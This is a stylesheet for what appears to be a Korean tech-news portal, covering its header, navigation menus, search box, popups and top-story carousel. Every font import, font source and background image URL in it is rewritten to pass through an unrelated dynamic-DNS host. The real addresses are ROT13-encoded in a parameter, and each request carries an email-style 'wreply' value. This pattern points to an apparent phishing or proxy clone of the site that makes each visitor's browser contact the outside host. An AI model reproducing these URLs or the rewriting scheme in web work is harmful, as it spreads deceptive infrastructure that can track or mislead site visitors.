@charset "utf-8";
/* CSS Document */

/* 웹폰트 */
@import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tbbtyrncvf.pbz%2Srneylnpprff%2Sanahztbguvp.pff');

@import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tbbtyrncvf.pbz%2Spff2%3Ssnzvyl%3QAbgb%2OFnaf%2OXE%3Njtug%40400%3O500%3O700%26qvfcynl%3Qfjnc');

@font-face {
font-family:'Nanum Gothic';
font-style:normal;
font-weight:400;
src:local("Nanum Gothic"),
        url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tfgngvp.pbz%2Srn%2Sanahztbguvp%2Si5%2SAnahzTbguvp-Erthyne.jbss2) format('woff2'),
        url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tfgngvp.pbz%2Srn%2Sanahztbguvp%2Si5%2SAnahzTbguvp-Erthyne.jbss) format('woff');
}

@font-face {
font-family:'Nanum Gothic';
font-style:normal;
font-weight:700;
src:local("Nanum Gothic"),
        url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tfgngvp.pbz%2Srn%2Sanahztbguvp%2Si5%2SAnahzTbguvp-Obyq.jbss2) format('woff2'),
        url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tfgngvp.pbz%2Srn%2Sanahztbguvp%2Si5%2SAnahzTbguvp-Obyq.jbss) format('woff');
}

@font-face{
font-family:"Nanum Gothic Bold";
font-style:normal;
font-weight:700;
src:local("Nanum Gothic Bold"),
        url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tfgngvp.pbz%2Srn%2Sanahztbguvp%2Si5%2SAnahzTbguvp-Obyq.jbss2) format('woff2'),
        url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tfgngvp.pbz%2Srn%2Sanahztbguvp%2Si5%2SAnahzTbguvp-Obyq.jbss) format('woff');
}

html {-webkit-text-size-adjust:100%; -ms-text-size-adjust:100%}
body {margin:0;}

a:focus {outline:thin dotted}
a:active, a:hover {outline:0}

b, strong {font-weight:bold}
mark {background:#ff0; color:#000}
pre {white-space:pre; white-space:pre-wrap;	word-wrap:break-word}

img {border:0}
svg:not(:root) {overflow:hidden}
figure {margin:0}

fieldset {border:1px solid #c0c0c0;	margin:0 2px; padding:0.35em 0.625em 0.75em}
legend {border:0; padding:0}
button, input, select, textarea {font-size:100%; margin:0}
button, input {line-height:normal}
button[disabled], input[disabled] {cursor:default}
input[type="checkbox"], input[type="radio"] {box-sizing:border-box; padding:0}
button::-moz-focus-inner, input::-moz-focus-inner {border:0; padding:0}
textarea {overflow:auto; vertical-align:top}
form {margin: 0;}

.iframe-content {overflow:hidden}

table {border-collapse:collapse; border-spacing:0}

html {background-color:#fff; height:100%; min-width:1080px}
ul {margin:0; padding:0}
ul li {list-style:none}
img {width:100%; height:auto}
svg:not(:root) {overflow: hidden;}

article {margin-bottom:20px}
article section {margin-bottom:40px}
article section section {margin-bottom:20px}

p {margin:0 0 20px}
small {font-size:13px}
em {font-style:italic}
hr {margin:0 0 20px; border:0; border-top:1px solid #E4E7EA}
pre {margin:0 0 20px}
code, kbd, pre, samp {font-size:15px}

.hide-text {text-indent: 100%; white-space: nowrap; overflow: hidden}
.no-select {-webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none}

input[type="checkbox"], input[type="radio"] {box-sizing: border-box; padding: 0}
input[type="search"] {-webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box}
input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration {-webkit-appearance: none}
select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[type="time"], input[type="week"], input[type="number"], input[type="email"], input[type="url"], input[type="search"], input[type="tel"], input[type="color"] {
	-moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1);
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1); 
	border: 1px solid #d9d9d9; background-color: #fff; width: 100%; height: 32px; padding: 4px 6px; margin-bottom: 20px; line-height: 1.35; vertical-align: middle
}

button, input, select, textarea {font-family: inherit; font-size: 100%; margin: 0;}
button, input {line-height: normal;}
button, html input[type="button"], input[type="reset"], input[type="submit"] {-webkit-appearance: button; cursor: pointer;}
label, input, button, select, textarea {font-size: 16px; font-weight: normal; line-height: 1.35; font-family: inherit;}
label .radio .icon {
	height:24px; width:24px; border:1px solid #CDCDCD; border-radius:12px; background-color:#F7F7F7; position:relative; display:inline-block; margin-right: 5px; vertical-align: middle;
	top: -1px; font-size: 17px; line-height: 21px
}
label.radio .icon:after {position: absolute; display: block; content: ""; width: 20px; height: 20px; border-radius: 10px; top: 2px; left: 2px}
label.radio input {display: none}
label.radio.checked .icon:after {background-color:#080e14;	font-weight: bold}
html, button, input, select, textarea {color:#080e14}

article, aside, details, figcaption, figure, footer, header, hgroup, nav, section, summary {display: block;}

body {font-family:'Nanum Gothic', 'Malgun Gothic', Verdana, Geneva, sans-serif; font-size:16px; line-height:30px;}

a {text-decoration:none; cursor:pointer; color:#080e14}
a h1, a h2, a h3, a h4, a h5, a h6 {color:#080e14}
a:hover, a:hover h1, a:hover h2, a:hover h3, a:hover h4, a:hover h5, a:hover h6 {color:#1174c7; text-decoration:none}

html .od-tablet {position:relative}
h1, h2, h3, h4, h5, h6 {text-rendering:optimizelegibility;	margin: 0}

/*----------------------------------------------------- 전체 틀 -------------------------------------------------------------------------*/
#mainHeader .fixation {position:inherit; width:100%; z-index:5000000; clear:right; background-color:#080e14;}
#mainHeader .fixation_fix {position:fixed; top:0; left:0; width:100%;}

/*------------------------------------ 메뉴 ---------------------------------------------------------------------------*/
#mainHeader #secondary {display:block; font-size:12px; height:28px; position:relative; background-color:#fff;}

/* 나라선택 */
#mainHeader #secondary {font-size:12px; max-width:1080px; margin:0 auto;}
	#mainHeader #secondary .editions {float:right; text-transform:uppercase; font-weight:700;}		
		#mainHeader #secondary .editions a {color:#6a767f;}
		#mainHeader #secondary .editions ul {margin:0;}
	
		#mainHeader #secondary .editions .editionsDrop {position:relative;}
			#mainHeader #secondary .editions .editionsDrop ul {display:none}
			#mainHeader #secondary .editions .editionsDrop a.arrow {position:relative; margin-right:10px;}
			#mainHeader #secondary .editions .editionsDrop a.arrow::after {
				content:""; display:block; width:0; height:0; border:solid 5px; border-top-color:currentcolor; border-right-color:currentcolor; border-bottom-color:currentcolor; border-left-color:currentcolor;
				border-color: #de1400 transparent transparent transparent; position:absolute; right:-15px; top:5px;	
			}
			/* 확장메뉴 세팅 */
			#mainHeader #secondary .editions .editionsDrop [data-label="edition"] {color: #de1400}
			
			#mainHeader #secondary .editions .editionsDrop .menu-editions {
				z-index:5000002; font-weight:bold; background:#162736; border-top:3px solid #de1400; display:none; list-style-type:none;
				margin:0; padding:0; width:180px; line-height:1; position:absolute; top:28px; left:-60px;
			}
			#mainHeader #secondary .editions .editionsDrop .menu-editions li {padding:0 20px 20px;}
			#mainHeader #secondary .editions .editionsDrop .menu-editions li.subDiv {background:#080e14;}
			#mainHeader #secondary .editions .editionsDrop .menu-editions li:first-child {padding-top: 20px;}
			#mainHeader #secondary .editions .editionsDrop .menu-editions li a {color: #fff; transition: color 0.2s;}
			#mainHeader #secondary .editions .editionsDrop .menu-editions li a:hover {color: #de1400; text-decoration: none}
			#mainHeader #secondary .editions .editionsDrop .menu-editions li .label {font-weight: normal; color: #cad6de; display: block; padding-top: 20px; text-transform: none}
			/* 확장영역 */
			#mainHeader #secondary .editions .editionsDrop:hover .menu-editions {display:block}
			#mainHeader #secondary .editions .editionsDrop:hover:before {position:absolute; content:""; top:-5px; bottom:0; right:-50px; left:-20px}

/* 메뉴 */
#mainHeader #primary {height:59px; position:relative; background-color:#080e14; color:#fff; overflow:visible; max-width:1080px; margin:0 auto;}
#primary::before, #primary::after {content:""; display:table;}
#primary::after {clear: both;}

	#mainHeader #primary #zdLogoLarge {position:absolute; width:200px; height:84px; display:block; top:-8px; left:-170px; z-index:5000001;}
		#mainHeader #primary #zdLogoLarge .icon-zdnet {font-size:75px; display:inline-block;}
		#mainHeader .fixation_fix #primary #zdLogoLarge {width:140px; height:50px; top:3px; left:-120px;}
	
	/* 로고 */
	.top_logo {max-width:1080px; margin:5px auto 10px; position:relative}
		.top_logo h1 {width:252px; display:inline-block;}
		.top_logo .top_bn {position:absolute; right:0px; top:0px; padding:0px; margin:0px;}

	/* 검색 */
	#mainHeader #primary .searchLarge {display:block; height:100%; width:60px; position:static; float:right; background:#de1400;}
		#mainHeader #primary .searchLarge .searchTrigger {
			display:block; position:absolute; width:60px; height:59px; border:none; color:#fff; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Smqarg.pb.xe%2Spff%2Sznt-juvgr01.cat'); background-repeat:no-repeat; background-position:center;
		}
		#mainHeader #primary .searchLarge:hover .searchTrigger, #mainHeader #primary .searchLarge.selected .searchTrigger {
			color:#de1400; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Smqarg.pb.xe%2Spff%2Sznt.cat'); background-repeat:no-repeat; background-position:center; background-color:white; z-index:11;
		}	
		#mainHeader #primary .searchLarge .dropDown {
			z-index:5000000; font-weight:normal; background:#fff; margin:0; position:absolute; top:59px; left:0; width:100%; padding:0; overflow:hidden; visibility:hidden;
			transition: clip 0.3s ease, visibility 0s 0.3s, opacity 0.3s; clip: rect(0px, 3000px, 0px, 0px); opacity: 0;
		}
			#mainHeader #primary .searchLarge .dropDown.active {visibility: visible; transition: clip 1s ease, opacity 0.3s; clip: rect(0px, 3000px, 1000px, 0px); opacity: 1;}
		/**/
		#mainHeader .headerSearch {position:relative; width:85px;}
		#mainHeader #primary .searchLarge .headerSearch {width:100%;}
			#mainHeader #primary .searchLarge .headerSearch .box {width:inherit; margin:0 auto; padding:10px 0 5px 0; position:relative;}
			#mainHeader #primary .searchLarge .headerSearch .box input[type="search"] {
				color:#080e14; font-size:20px; margin:0 10px; border-top:none; border-right:none; border-bottom:1px solid #de1400; border-left:none; font-weight:lighter; width:1060px; height:60px; box-shadow:none;
				cursor:pointer;
			}
			#mainHeader #primary .searchLarge .headerSearch .box button.search-button {position:absolute; right:8px; top:25px; width:35px; height:30px; border:none; background-color:transparent;}			
			#mainHeader #primary .searchLarge .headerSearch .box button[type="submit"].go {right:55px}
			#mainHeader #primary .searchLarge .headerSearch .box button[type="submit"].search-button .icon-search {display:block; width:25px; height:25px; font-size:24px; font-weight:bold; color:#de1400;}
			#mainHeader #primary .searchLarge .headerSearch .box .closeDropdown {position:absolute; right:15px; top:27px; width:25px; height:25px; border:none; background-color:transparent;}
			#mainHeader #primary .searchLarge .headerSearch .box .closeDropdown  .icon-x_mark { font-size:24px; font-weight:bold; color:#717171;}
	/**/
	.search-overlay-container {min-height:95px;}	
	.container.search-overlay-container {position:relative;}

	/* 탑메뉴 */	
	#mainHeader #primary .primaryNav {position:absolute; left:0px; top:12px; margin-left:85px; z-index:5000001; user-select:none;}
		#mainHeader #primary .primaryNav .navList {display: block}
			#mainHeader #primary .primaryNav .navList li {display:inline-block; padding-right:25px; text-transform:uppercase; font-weight:bold; position:relative; font-size:14px; line-height:1.25em}
			#mainHeader #primary .primaryNav .navList li a {color: #fff; transition: color 0.2s}
			#mainHeader #primary .primaryNav .navList li a:hover {color: #de1400; text-decoration:none}
			/**/
			#mainHeader #primary .primaryNav .navList li a .linkAlt {color:#de1400; display:inline-block; position:relative; transition:color 0.2s; padding-left:10px;}	
			#mainHeader #primary .primaryNav .navList li a .linkAlt:hover {color:#fff; text-decoration: none}
			/**/
			#mainHeader #primary .primaryNav .navList li a .linkAlt .icon-user {display:inline-block; padding-left:3px;}
			#mainHeader #primary .primaryNav .navList li a .linkAlt .icon-user::after {position:absolute; top:-5px; right: -10px; content:"●"; font-size:8px; color:#080e14;}
			#mainHeader #primary .primaryNav .navList li a .login .icon-user::after {color:#0CF;}
			#mainHeader #primary .primaryNav .navList li a .logout .icon-user::after {color:#de1400;}			
			
			/* 확장메뉴 */
			#mainHeader #primary .primaryNav .navList li.hasDrop {height:38px; margin-right:15px;}
				#mainHeader #primary .primaryNav .navList li.hasDrop:hover:before {
					content:""; display:block; width:0; height:0; border:solid 5px; border-color:transparent transparent #de1400 transparent; z-index:5000001; position:absolute; right:65%; bottom:0
				}
				#mainHeader #primary .primaryNav .navList li.hasDrop .moreText {color:#cad6de; color:#d7e684; font-weight:900;}
				#mainHeader #primary .primaryNav .navList li.hasDrop:hover:after {position:absolute; content:""; top:-5px; bottom:0; right:0; left:-20px;}
				#mainHeader #primary .primaryNav .navList li a.arrow::after{
					content:""; display:block; width:0; height:0; border:solid 7px; border-top-color:currentcolor; border-right-color:currentcolor; border-bottom-color:currentcolor; border-left-color:currentcolor;
					border-color: #de1400 transparent transparent transparent; position:absolute; right:4px; top:8px;	
				}
				/**/
				#mainHeader #primary .primaryNav .navList li.hasDrop ul {overflow:hidden; padding: 0; margin: 0}
				#mainHeader #primary .primaryNav .navList li.hasDrop ul li {padding:15px 20px 0 20px; display: block; font-size: 1em}
				#mainHeader #primary .primaryNav .navList li.hasDrop ul li:last-child, #mainHeader #primary .primaryNav .navList li.hasDrop ul li.seeAll {padding-bottom:15px}
				#mainHeader #primary .primaryNav .navList li.hasDrop ul li.seeAll {position:relative}
				#mainHeader #primary .primaryNav .navList li.hasDrop ul li a {font-weight:bold; color:#fff; text-transform:uppercase}
				#mainHeader #primary .primaryNav .navList li.hasDrop ul li a:hover {color:#de1400}
				#mainHeader #primary .primaryNav .navList li.hasDrop ul li.subDiv .label {font-weight:normal; text-transform:none}
				#mainHeader #primary .primaryNav .navList li.hasDrop ul li:not(.subDiv) {background:#080e14;}
				/**/	
			#mainHeader #primary .primaryNav .navList li .menu-topics, #mainHeader #primary .primaryNav .navList li .loggedOut>ul, #mainHeader #primary .primaryNav .navList li .loggedIn>ul {display:none}
			#mainHeader #primary .primaryNav .navList li:hover .menu-topics, #mainHeader #primary .primaryNav .navList li:hover .loggedOut>ul, #mainHeader #primary .primaryNav .navList li:hover .loggedIn>ul {
				z-index:5000001; font-weight:normal; background:#162736; border-top:3px solid #de1400; display:list-item; list-style-type:none; margin:0; width:240px; position:absolute; top:36px;
			}
			#mainHeader #primary .primaryNav .navList li:hover .menu-topics.menu-topics, #mainHeader #primary .primaryNav .navList li:hover .loggedOut>ul.menu-topics, 
			#mainHeader #primary .primaryNav .navList li:hover .loggedIn>ul.menu-topics {right:-170px}
			#mainHeader #primary .primaryNav .navList li:hover .menu-topics.menu-user, #mainHeader #primary .primaryNav .navList li:hover .loggedOut>ul.menu-user, 
			#mainHeader #primary .primaryNav .navList li:hover .loggedIn>ul.menu-user {right: -16px}
			
			/* 뉴스레터 로그인 */
			.infoList {position:absolute; top:12px; right:60px; z-index:5000001; user-select:none;}
			.infoList li {display:inline-block; padding-right:25px; text-transform:uppercase; font-weight:bold; position:relative; font-size:14px; line-height:1.25em}
			.infoList li a {color:#de1400; display:inline-block; position:relative; transition:color 0.2s; padding-left:10px;}
			.infoList li a:hover {color:#fff; text-decoration: none}
			.infoList li .linkAlt .icon-user {display:inline-block; padding-left:3px;}
			.infoList li .linkAlt .icon-user::after {position:absolute; top:-5px; right:-10px; content:"●"; font-size:8px; color:#080e14;}
			.infoList li .login .icon-user::after {color:#0CF;}
			.infoList li .logout .icon-user::after {color:#de1400;}

/* 2022 리뉴얼 */
.page-header:before, .page-header:after {content:""; display:table;}	 
.page-header:after {clear:both;}

.page-header {
    box-sizing: border-box; padding: 0; position: relative; z-index:3000;
    background: rgb(231,255,110); /* Old browsers */
    background: -moz-linear-gradient(top, rgba(231,255,110,1) 0%, rgba(231,255,110,1) 48%, rgba(204,0,105,1) 48%, rgba(8,10,18,1) 48%, rgba(8,10,18,1) 100%); /* FF3.6-15 */
    background: -webkit-linear-gradient(top, rgba(231,255,110,1) 0%,rgba(231,255,110,1) 48%,rgba(204,0,105,1) 48%,rgba(8,10,18,1) 48%,rgba(8,10,18,1) 100%); /* Chrome10-25,Safari5.1-6 */
    background: linear-gradient(to bottom, rgba(231,255,110,1) 0%,rgba(231,255,110,1) 48%,rgba(204,0,105,1) 48%,rgba(8,10,18,1) 48%,rgba(8,10,18,1) 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */    
}

/* logo  */
.HeaderNavigation {width:1200px; height:130px; margin: 0 auto;}
.header-logo {float:left; width:270px; height:108px; line-height: 0;}
.header-logo a {height: 100%; display: flex; align-items: flex-end;}
.c-siteLogo {width:220px; position: sticky; z-index:4}
.c-siteLogo svg {width:220px; height:24px; fill:#d0ff4b;}

.HeaderNavigation_shelves {float: left; width:870px;}
/* top */
.HeaderNavigation_topicShelf { width:100%; height:60px; display:flex; justify-content: flex-end;}
.HeaderNavigation_topicShelf .HeaderNavigation_item > div {margin-left:88px; width: 24px;}
.HeaderNavigation_item {display: inline-flex;}
.PrimaryMenu {align-items: center; display: flex; cursor: pointer;}
.PrimaryMenu_item {position: relative; display: flex; height: 100%; align-items: center; cursor: pointer;}
.PrimaryMenu_item > svg {width:24px; height:24px; display:block; z-index:4;}
.PrimaryMenu_item:hover svg {fill: #fa2245;}
.PrimaryMenu_item a {line-height: 0;}
.is-expanded .PrimaryMenu_item svg {fill: #d40020;}
.HeaderNavigation_item.is-expanded .PrimaryMenu_item svg {fill: #ff435a;}

/* button */
.HeaderNavigation_buttonShelf { width:100%; height:70px; display: flex; justify-content: space-between;}
.PrimaryMenu_hasSubNav .PrimaryMenu_item {position: relative; display: flex; height: 100%; align-items: center; /*text-transform: lowercase;*/ cursor:pointer;}
.c-sitePrimaryMenu_text {font-weight:700; color: #fff; font-size: 16px;}
.c-sitePrimaryMenu_text a {color: #fff;}
/* sub meun bg */
.PrimaryMenu_subNav {background-color: #20222a; color: #fff; position: absolute; top: 100%; left: 0; right: 0; visibility: hidden; z-index: 2; overflow: auto; height:420px; border-top: 1px solid #e7ff6e;}
/* sub meun */
.c-siteMenuList:before, .c-siteMenuList:after {content:""; display:table;}	 
.c-siteMenuList:after {clear:both;}
.c-siteMenuList {font-weight:600; padding:48px 0 0; line-height:22px; width: 655px; margin: 0 auto;}
.c-siteMenuList_column {float:left; width:170px; margin-right: 30px; border-right: 1px solid #383a42;}
.c-siteMenuList_column:last-child {border:none; margin-right:0px;}
.c-siteMenuList_item {color: #fff; padding-bottom: 32px;}
.c-siteMenuList_link {display: block; color: inherit; cursor: pointer;}


.HeaderNavigation_topicShelf .c-siteMenuList {width:1080px; padding:0; margin:24px auto 50px; }
.popup-box2 .c-siteMenuList {margin:12px auto 20px;}
.HeaderNavigation_topicShelf .c-siteMenuList .list-box {margin-left:730px; width:351px;}
.list-box:before, .list-box:after {content:""; display:table;}	 
.list-box:after {clear:both;}
.HeaderNavigation_topicShelf .c-siteMenuList .list-box .c-siteMenuList_column {width:160px;}
.HeaderNavigation_topicShelf .c-siteMenuList .list-box .c-siteMenuList_column:last-child {} 

/* button line */
.HeaderNavigation_item .PrimaryMenu_item::after {
    position: absolute; content: ""; bottom: 0; left: 0; right: 0; height: 3px; background: #20222a; z-index: 1; visibility: hidden; transform: scaleX(0) translateZ(0); transition: transform .1s ease, visibility 0s .1s;
}
.PrimaryMenu_hasSubNav .PrimaryMenu_item::after {
    position: absolute; content: ""; bottom: 0; left: 0; right: 0; height: 3px; background: #e7ff6e; z-index: 1; visibility: hidden; transform: scaleX(0) translateZ(0); transition: transform .1s ease, visibility 0s .1s;
}
/* ani */
.PrimaryMenu_hasSubNav.is-expanded .PrimaryMenu_item::after {visibility: visible; transform: scaleX(1) translateZ(0); transition: transform .1s ease;}
.PrimaryMenu_hasSubNav.is-expanded .c-sitePrimaryMenu_text {color:#fa2245;}
.PrimaryMenu_hasSubNav.is-expanded a:hover {color:#fa2245;}
.c-siteMenuList_link:hover {color:#ff435a !important;}

/*sub meun ani*/
.PrimaryMenu_subNav {visibility: hidden; clip: rect(0, 200vw, 0, 0); transition: clip .3s linear, visibility 0s .3s;}
.is-expanded .PrimaryMenu_subNav {visibility: visible; clip: rect(0, 200vw, 100vh, 0); transition: clip .5s linear; z-index: 3;}
.HeaderNavigation_topicShelf .PrimaryMenu_subNav {top:0; padding-top: 60px; height: auto;}
.iconMenuOpen svg {fill: #d0ff4b; transition: fill .2s ease;}
.iconMenuOpen svg:hover {transition: none; fill: #ff435a;}
.HeaderNavigation svg {transition: fill .5s ease;}

.search-overlay-container { width:900px; min-height: 54px; margin-left: 184px;}
.c-smartSearch {width:900px;}
.c-smartSearch input[type="search"] {
    margin: 0 1rem 0 0; padding: 0 15px; color: #fff; border: 1px solid #d1d0d3; border-radius: 3px; box-shadow: none; box-sizing: border-box; outline: none;
    background: transparent; width:630px; height: 54px; line-height: 52px;
}
.search-button {
    background-color:#eb0e33; padding: 0 50px; border: none; text-transform: lowercase; height: 54px; border-radius: 3px; box-sizing: border-box; outline: none; 
    font-size: 1rem; color: #fff; font-weight: 600; line-height: 52px; display: inline-block; vertical-align: bottom;
}
.search-button:last-child {background-color: #fff; color: #eb0e33;}
.search-button[type="submit"]:hover {background-color: #d40020; color: #fff;}
.search-button:hover {background-color: #e7dfdf;}
 
/*---------------------------------------------------------------- 레이어 팝업 ----------------------------------------------------------------*/
.black_overlay{display:none; position:fixed; top:0%; left:0%; width:100%; height:100%; background-color:black; z-index:5000002; -moz-opacity:0.8; opacity:.80; filter:alpha(opacity=80);}

/* 팝업창 세팅 */
.white_content {display:none; position:fixed; top:12%; left:70%; width:15%; padding:20px; border:10px solid #de1400; background-color:white; z-index:5000003; overflow:auto;}

.popup label {font-size:13px; display:block; margin-bottom:8px; letter-spacing:-1px;}
.popup input[type="text"] {margin:0px; width:100%; color:#888; font-size:12px;}
.btn_box { text-align:center;}
.popup a {font-size:12px; font-weight:bold; display:inline-block; padding:2px 20px; margin:15px 2px 0; }
.popup a:hover {color:#de1400; border:1px solid #de1400; background-color:#FFF;}
.popup_btn {background-color:#de1400; color:#FFF; border:1px solid #de1400;}
.popup_close {background-color:#000; color:#FFF; border:1px solid #000;}
	
/*---------------------------------------------------------------- 컨덴츠 영역 ----------------------------------------------------------------*/
#mantle_skin { position:relative; width:100%; height:420px;}
#mantle_skin > .container, .topContent {background-color:#fff;}	

/*---------------------------------------------------------------- 탑기사 슬라이드 ----------------------------------------------------------------*/	
.topContent {padding: 0 10px;}	
	 /**/
	.hero-carousel {width:100%; height:420px; background-color:#080e14 !important; color:#FFF; position:absolute !important; left:0; overflow:hidden; -webkit-tap-highlight-color: transparent;}
	.hero-carousel:before, .hero-carousel:after{content:""; display:table}
	.hero-carousel:after {clear:both}
		 /**/
		.hero-carousel .page {position:absolute; top:0; left:0; width:100%; height:100%; transition:opacity 0.8s; transform:translateZ(0); -webkit-transform:translateZ(0)}
		.hero-carousel .page.hidden {visibility:hidden; opacity:0; transition:opacity 0.8s, visibility 0 0.8s}
		.hero-carousel .page.hidden .item {visibility:hidden; transition:visibility 0s 0.8s}
		 /**/
		.hero-carousel .item {position:relative; float:left; visibility:visible; display:block; left:0% !important; margin-left:-1px !important; transition:none; opacity:1; border-left:1px solid #FFF;}
		.hero-carousel .item .active {transition:none; visibility:visible;}		
		.hero-carousel .item .story-link {display:block; position:absolute; z-index:5; width:100%; height:100%; top:0; left:0;}	
		.hero-carousel .item:hover .content h3  {color:#FFF;}
		.hero-carousel .item:hover .overlay-bg {background-color:rgba(145, 145, 145, 0.3) !important;}	
		
		.hide-text {text-indent:100%; white-space:nowrap; overflow:hidden;}
		.hero-carousel .bg-image {position:absolute; top:0; left:0; width:100%; height:100%; overflow:hidden;}
		.hero-carousel .bg-image img:not([src=""]) {animation: fadeIn 0.5s;}
		.hero-carousel .bg-image img {
			min-width:100%; min-height:100%; width:auto !important; height:auto; position:absolute; top:50%; left:50%; transform:translate(-50%, -50%); 
			-ms-transform:translate(-50%, -50%); -webkit-transform:translate(-50%, -50%); -moz-transform:translate(-50%, -50%);
		}	
		 /**/
		.hero-carousel .item.item-size-large {width:50%; height:420px;}
		.hero-carousel .item.item-size-medium {width:25%; height:420px;}
		.hero-carousel .item.item-size-small {width:25%; height:209px; border-bottom:1px solid #FFF;}
		.hero-carousel .item.item-size-small:last-child {border-bottom:none; height:210px;}
		/**/
		.hero-carousel .overlay-bg {
			position:absolute; top:0; left:0; width:100%; height:100%;
			background: -moz-linear-gradient(top,  rgba(0,0,0,0) 50%, rgba(91,91,91,0.75) 100%); 
			background: -webkit-linear-gradient(top,  rgba(0,0,0,0) 50%,rgba(91,91,91,0.75) 100%); 
			background: linear-gradient(to bottom,  rgba(0,0,0,0) 50%,rgba(91,91,91,0.75) 100%); 
			filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00000000', endColorstr='#bf5b5b5b',GradientType=0 );
			}		
		.hero-carousel .item.item-size-medium .overlay-bg, .hero-carousel .item.item-size-small .overlay-bg {
			background: -moz-linear-gradient(top,  rgba(0,0,0,0) 35%, rgba(91,91,91,0.75) 100%); 
			background: -webkit-linear-gradient(top,  rgba(0,0,0,0) 35%,rgba(91,91,91,0.75) 100%); 
			background: linear-gradient(to bottom,  rgba(0,0,0,0) 35%,rgba(91,91,91,0.75) 100%); 
			filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00000000', endColorstr='#bf5b5b5b',GradientType=0 );
		}
		.hero-carousel .item.item-size-medium .related-links, .hero-carousel .item.item-size-small .related-links {display:none}
		/**/
		.hero-carousel .content {bottom:30px; left:30px; right:30px; border-left:1px solid #de1400; padding-left:15px; position:absolute; text-shadow:2px 2px 2px #333333;}		
		.hero-carousel .item.item-size-large h3 {font-size:36px; font-weight:bold; margin:0px 0 15px; line-height:44px; border-left:1px solid #de1400; padding-left:15px;}		
		
		.hero-carousel .item.item-size-large .content {left:30px; right:30px; bottom:46px; padding-left:0px; border-left:none; z-index:6;}
		.hero-carousel .item.item-size-large .shortform {display:block; width:71px; height:28px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Smqarg.pb.xe%2Svzntrf%2Scp_FS_vpba.cat'); background-repeat:no-repeat; background-position:center; padding-bottom: 10px; }
		.hero-carousel .item.item-size-medium .content {left:30px; right:30px; bottom:30px; padding-left:0px; border-left:none; z-index:6;}
		.hero-carousel .item.item-size-medium h3 { border-left:1px solid #de1400; padding-left:15px; }
		.hero-carousel .item.item-size-medium .shortform {display:block; width:71px; height:28px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Smqarg.pb.xe%2Svzntrf%2Scp_FS_vpba.cat'); background-repeat:no-repeat; background-position:center;padding-bottom: 10px; }
		.hero-carousel .item.item-size-small .content {left:30px; right:30px; bottom:30px; padding-left:0px; border-left:none; z-index:6;}
		.hero-carousel .item.item-size-small h3 { border-left:1px solid #de1400; padding-left:15px; }
		.hero-carousel .item.item-size-small .shortform {display:block; width:71px; height:28px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Smqarg.pb.xe%2Svzntrf%2Scp_FS_vpba.cat'); background-repeat:no-repeat; background-position:center;padding-bottom: 10px; }
		.photo .assetThumb .shortform {display:block; position:absolute; width:50px; height:23px; bottom:120px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Smqarg.pb.xe%2Svzntrf%2Scp_FS_vpba2.cat'); background-repeat:no-repeat; background-position:center; z-index: 9;left: 15px;}
		.hero-carousel .item.item-size-large .content li a {font-size:18px; font-weight:bold; color:#FFF;}
		
		.hero-carousel .item.item-size-large .content li a {font-family:'Nanum Gothic'; font-weight:600;}
		
		.hero-carousel .item.item-size-large .content li a:hover {color:#f7f6ba;}
		
		/* 상단 슬라이드 탭 */
		.hero-carousel .content .tab_box { border-radius:6px; padding:6px 10px; line-height:40px; background-color:rgba(222, 20, 0, 0.7); font-size:14px; font-weight:bold; color:#FFF;}
		/**/
		.hero-carousel .content h3 {font-size:22px; margin:0; color:#fff;}
		
		
		.hero-carousel .content .top_summary {padding:6px 0 0 0; margin:0px; font-size:16px; color:#FFF; display:none;}
		/**/
		.hero-carousel .item.item-size-medium .content .top_summary { display:none;}		
		.hero-carousel .content .top_reporter {padding:12px 0 0 0; margin:0px; font-size:16px; color:#FFF; display:none;}
		
		/*  슬라이드 화살표 */
		.hero-carousel .next-button {
			width:50px; height:50px; border-radius:50%; background-color:#de1400; position:absolute; top:50%; margin-top:-25px; right:15px; box-shadow:0 0 0px 5px rgba(0, 0, 0, 0.25); color:#fff; 
			-webkit-tap-highlight-color:transparent; z-index:5
		}
		.hero-carousel .next-button .icon-arrow_l {display:inline-block; position:absolute; top:16px; left:17px; font-size:18px; color:#FFF; width:15px; height:15px}
		.hero-carousel .next-button:hover {background-color:white; color:#de1400}
